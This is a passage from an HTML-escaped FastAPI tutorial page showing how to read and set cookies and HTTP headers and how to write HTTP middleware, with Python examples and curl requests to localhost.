style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; fastapi &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Cookie, FastAPI&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; typing &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Optional&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;app &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; FastAPI()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# {...rest of the code}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;@app.get&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/cookie/&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;read_cookie&lt;/span&gt;(my_cookie &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; Cookie(&lt;span style=&#34;color:#ff6ac1&#34;&gt;None&lt;/span&gt;)):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; {&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;my_cookie&amp;#34;&lt;/span&gt;: my_cookie}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Let&amp;rsquo;s use curl to send a cookie and have it processed by our view.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;curl --cookie &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;my_cookie=home_made&amp;#34;&lt;/span&gt; localhost:8000/cookie/ -i&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;{&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;my_cookie&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;home_made&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id=&#34;place-cookies&#34;&gt;Place cookies&lt;/h4&gt;&#xA;&lt;p&gt;To set cookies we need to access the response object of our HTTP request, and we also need to specify the typing of this parameter. Please remember to import it&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; fastapi &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Cookie, FastAPI, Response&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; typing &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Optional&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;app &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; FastAPI()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# {...rest of the code}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;@app.get&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/setcookie/&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;set_cookie&lt;/span&gt;(response: Response):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    response&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;set_cookie(key&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;myCookie&amp;#34;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                        value&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;myValue&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; {&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;message&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;The delicious cookie has been set&amp;#34;&lt;/span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;See the &lt;em&gt;set-cookie&lt;/em&gt; header in our response. The presence of this HTTP header indicates that we have received the instruction to set our cookie correctly.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;curl localhost:8000/setcookie/ -i&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;HTTP/1.1 &lt;span style=&#34;color:#ff9f43&#34;&gt;200&lt;/span&gt; OK&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;date: Mon, &lt;span style=&#34;color:#ff9f43&#34;&gt;19&lt;/span&gt; Oct &lt;span style=&#34;color:#ff9f43&#34;&gt;2020&lt;/span&gt; 20:45:08 GMT&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;server: uvicorn&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;content-length: &lt;span style=&#34;color:#ff9f43&#34;&gt;31&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;content-type: application/json&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;set-cookie: &lt;span style=&#34;color:#ff5c57&#34;&gt;myCookie&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;myValue; &lt;span style=&#34;color:#ff5c57&#34;&gt;Path&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;/; &lt;span style=&#34;color:#ff5c57&#34;&gt;SameSite&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;lax&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;{&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;message&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Delicious cookies&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;headers-or-http-headers&#34;&gt;Headers or HTTP headers&lt;/h3&gt;&#xA;&lt;h4 id=&#34;read-http-headers&#34;&gt;Read HTTP headers&lt;/h4&gt;&#xA;&lt;p&gt;HTTP headers are read in the same way as cookies. Please remember to import Header.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; fastapi &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Cookie, Header, Response, FastAPI&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; typing &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Optional&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;app &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; FastAPI()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# {...rest of the code}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;@app.get&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/headers/&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;return_header&lt;/span&gt;(user_agent &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; Header(&lt;span style=&#34;color:#ff6ac1&#34;&gt;None&lt;/span&gt;)):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; {&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;User-Agent&amp;#34;&lt;/span&gt;: user_agent}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Ready, now we will have a header that will return the current User-Agent, with which we are making the request, which automatically sends curl with each request, so we should be able to capture it.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;curl localhost:8000/headers/ -i&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;HTTP/1.1 &lt;span style=&#34;color:#ff9f43&#34;&gt;200&lt;/span&gt; OK&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;date: Mon, &lt;span style=&#34;color:#ff9f43&#34;&gt;19&lt;/span&gt; Oct &lt;span style=&#34;color:#ff9f43&#34;&gt;2020&lt;/span&gt; 19:33:45 GMT&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;server: uvicorn&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;content-length: &lt;span style=&#34;color:#ff9f43&#34;&gt;28&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;content-type: application/json&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;{&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;User-Agent&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;curl/7.52.1&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;In this case, as we made the request with curl, it will return the string &amp;ldquo;curl/our_version&amp;rdquo;. If we made the request with a web browser we would get the User-Agent value for that browser.&lt;/p&gt;&#xA;&lt;h4 id=&#34;placing-http-headers&#34;&gt;Placing HTTP headers&lt;/h4&gt;&#xA;&lt;p&gt;To place headers we need to access the response object, this object has a property called headers to which we can add values as if it were a dictionary.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; fastapi &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Cookie, Header, Response, FastAPI&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; typing &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Optional&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;app &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; FastAPI()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# {...rest of the code}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;@app.get&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/setheader/&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;set_header&lt;/span&gt;(response: Response):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    response&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;headers[&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;response_header&amp;#34;&lt;/span&gt;] &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;my_header&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; {&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;message&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;header set&amp;#34;&lt;/span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now we make a request to the url we just created. We expect the response to contain an HTTP header called &lt;em&gt;response_header&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;curl localhost:8000/setheader/ -i&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;HTTP/1.1 &lt;span style=&#34;color:#ff9f43&#34;&gt;200&lt;/span&gt; OK&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;date: Sat, &lt;span style=&#34;color:#ff9f43&#34;&gt;24&lt;/span&gt; Oct &lt;span style=&#34;color:#ff9f43&#34;&gt;2020&lt;/span&gt; 16:11:31 GMT&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;server: uvicorn&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;content-length: &lt;span style=&#34;color:#ff9f43&#34;&gt;24&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;content-type: application/json&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;response_header: my_header&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;x-my_data: X-my_data&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;{&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;message&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;header set&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;middleware&#34;&gt;Middleware&lt;/h3&gt;&#xA;&lt;p&gt;Yes, although FastAPI is quite simple it also incorporates the functionality of using middleware as part of its request-response cycle.&lt;/p&gt;&#xA;&lt;p&gt;Don&amp;rsquo;t you know what middleware is? Simplistically, a middleware is a piece of code that you place before the request, to &amp;ldquo;intercept&amp;rdquo; it and do (or not) something with it. A middleware works in a similar way to those relay races where the request and the response would be the stakes that are passed from one middleware to the other, each middleware can modify the request or the response or leave it intact to pass it to the next middleware.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/fastapi/fastapi-tutorial-the-best-python-framework/images/Middleware.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/fastapi/fastapi-tutorial-the-best-python-framework/images/Middleware.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Basic schematic of a middleware&#34; width=&#34;600&#34; height=&#34;200&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Super simplified scheme of a middleware in the web context&lt;/p&gt;&#xA;&lt;p&gt;To use middleware, simply place an @app.middleware(&amp;lsquo;http&amp;rsquo;) decorator on a function. This function receives the web request object and a function called call_next, which will receive the web request and return a response.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; fastapi &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Cookie, Header, Response, FastAPI&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; typing &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Optional&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;app &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; FastAPI()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;@app.middleware&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;http&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;async&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;add_something_to_response_headers&lt;/span&gt;(request, call_next):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    response &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;await&lt;/span&gt; call_next(request)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# Ahora ya tenemos la respuesta que podemos modificar o procesar como querramos&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    response&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;headers[&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;X-my_data&amp;#34;&lt;/span&gt;] &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;x-my_data&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; response&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The response to our request is obtained after calling &lt;em&gt;call_next&lt;/em&gt; by passing the &lt;em&gt;request&lt;/em&gt; object as parameter, so all modifications to the request go before the call to &lt;em&gt;call_next&lt;/em&gt;, while all modifications to the response go after &lt;em&gt;call_next&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; fastapi &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Cookie, Header, Response, FastAPI&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; typing &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Optional&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;app &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; FastAPI()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# {...rest of the code}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;@app.middleware&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;http&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;async&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;my_middleware&lt;/span&gt;(request, call_next):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# modificaciones a REQUEST&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    response &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;await&lt;/span&gt; call_next(request)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# modificaciones a RESPONSE&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; response&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now let&amp;rsquo;s do a curl to 